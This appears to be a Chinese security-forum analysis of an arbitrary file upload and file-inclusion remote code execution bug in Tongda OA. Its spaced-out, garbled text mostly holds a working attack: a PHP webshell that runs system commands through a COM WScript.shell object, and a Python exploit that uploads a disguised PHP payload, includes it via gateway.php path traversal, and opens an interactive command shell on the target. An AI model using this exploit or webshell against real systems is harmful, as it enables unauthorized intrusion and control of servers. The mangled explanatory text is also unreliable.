[20387] 2020-11-18_通达OA任意文件上传漏洞详细分析

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-11-18_通达OA任意文件上传漏洞详细分析 O A K h a n   2 0 2 0 - 1 1 - 1 8   ( V 1 1 2 0 1 7 p h p , . ) : V 1 1   2 0 1 7   2 0 1 6   2 0 1 5   2 0 1 3   2 0 1 3 z e n d   5 . 4 , : S e a y D z e n d , 线 h t t p : / / d e z e n d . q i l i n g . o r g / f r e e . h t m l w e b r o o t i s p i r i t i m u p l o a d . p h p : P s e s s i o n P   . A P T
D E S T _ U I D 退 D E S T _ U I D = 0 U P L O A D _ M O D E 2 退 D E S T _ U I D 0 $ _ F I L E S D E S T _ U I D = 0 U P L O A D _ M O D E = 2 D E S T _ U I D 0
i f 1 , 2 , 3 1 , 2 , 3 u p l o a d _ m o d e 1 u p l o a d
/ i s _ u p l o a d a b l e p h p f a l s e , x x x . p h p . u p l o a d $ A T T A C H M E N T S I D N A M E A T T A C H M E N T S a d d _ a t t a c h $ F I L E N A M E $ p a t h
a t t c h / i m / $ Y M / 使 D 2 2 0 0 3 , I D
O A R C E / i s p i r i t / i n t e r f a c e / g a t e w a y . p h p j s o n k e y u r l u r l
s t r p o s g e n e r a l / i s p i r i t m o d u l e / p a y l o a d / g e n e r a l / . . / . . / a t t a c h / i m / 2 0 0 3 / 1 1 9 1 4 1 5 7 8 8 . 1 . p h p p h p i n f o 使 w e b s h e l l / i s p i r i t / i n t e r f a c e /
使 C O M b y p a s s   使 g e t s h e l l n g i n x g e t s h e l l < ? p h p $ c o m m a n d = $ _ P O S T [ ' c m d ' ] ; $ w s h   =   n e w   C O M ( ' W S c r i p t . s h e l l ' ) ; $ e x e c   =   $ w s h - > e x e c ( " c m d   / c   " . $ c o m m a n d ) ; $ s t d o u t   =   $ e x e c - > S t d O u t ( ) ; $ s t r o u t p u t   =   $ s t d o u t - > R e a d A l l ( ) ; e c h o   $ s t r o u t p u t ; ? > # ! / u s r / b i n / e n v   p y t h o n 3 #   - * -   e n c o d i n g :   u t f - 8   - * - #   o a i m p o r t   r e q u e s t s i m p o r t   r e i m p o r t   s y s d e f   o a ( u r l ) :         u p u r l   =   u r l   +   ' / i s p i r i t / i m / u p l o a d . p h p '         h e a d e r s   =   { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 2 . 0 . 3 2 0 2 . 9   S a f a r i / 5 3 7 . 3 6 " ,   " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 "         d a t a   =   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 7 7 2 3 9 4 0 3 1 6 7 0 6 1 5 8 7 8 1 8 3 9 8 6 0 6 6 8 r n C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " A T T A C H M E N T " ;   f i l e n a m e = " j p g " r n C o n t e n t - T y p e :   i m a g e / j p e g r n r n < ? p h p r n         r e q   =   r e q u e s t s . p o s t ( u r l = u p u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a )         f i l e n a m e   =   " " . j o i n ( r e . f i n d a l l ( " 2 0 0 3 _ ( . + ? ) | " , r e q . t e x t ) )         i n _ u r l   =   u r l   +   ' / i s p i r i t / i n t e r f a c e / g a t e w a y . p h p '         h e a d e r s   =   { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 2 . 0 . 3 2 0 2 . 9   S a f a r i / 5 3 7 . 3 6 " ,   " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 "         d a t a   =   " j s o n = { " u r l " : " . . / . . / . . / g e n e r a l / . . / a t t a c h / i m / 2 0 0 3 / % s . j p g " } & c m d = % s "   %   ( f i l e n a m e , " e c h o   p h p 0 0 p y " )         i n c l u d e _ r e q   =   r e q u e s t s . p o s t ( u r l = i n _ u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a )         i f     ' p h p 0 0 p y '   i n   i n c l u d e _ r e q . t e x t :                 p r i n t ( " [ + ]   O A   R C E   v u l n e r a b i l i t y   " )                 r e t u r n   f i l e n a m e         e l s e :                 p r i n t ( " [ - ]   N o t   O A   R C E   v u l n e r a b i l i t y   " )                 r e t u r n   F a l s e d e f   o a _ r c e ( u r l ,   f i l e n a m e , c o m m a n d ) :         u r l   =   u r l   +   ' / i s p i r i t / i n t e r f a c e / g a t e w a y . p h p '         h e a d e r s   =   { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 2 . 0 . 3 2 0 2 . 9   S a f a r i / 5 3 7 . 3 6 " ,   " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 "         d a t a   =   " j s o n = { " u r l " : " . . / . . / . . / g e n e r a l / . . / a t t a c h / i m / 2 0 0 3 / % s . j p g " } & c m d = % s "   %   ( f i l e n a m e , c o m m a n d )         r e q   =   r e q u e s t s . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a )         p r i n t ( r e q . t e x t ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :                 i f   l e n ( s y s . a r g v )   <   2 :                         p r i n t ( " p l e a s e   i n p u t   y o u r   u r l   p y t h o n   o a _ r c e . p y   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 8 1 " )                 e l s e :                         u r l   =   s y s . a r g v [ 1 ]                         f i l e n a m e   =   o a ( u r l )                         w h i l e   f i l e n a m e :                                 t r y :                                         c o m m a n d   =   i n p u t ( " w r a n @ s h e l L h o s t # " )                                         i f   c o m m a n d   = =   " e x i t "   o r   c o m m a n d   = =   " q u i t " :                                                 b r e a k                                         e l s e :                                                 o a _ r c e ( u r l , f i l e n a m e , c o m m a n d )                                 e x c e p t   K e y b o a r d I n t e r r u p t :                                         b r e a k
C O M e n d
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则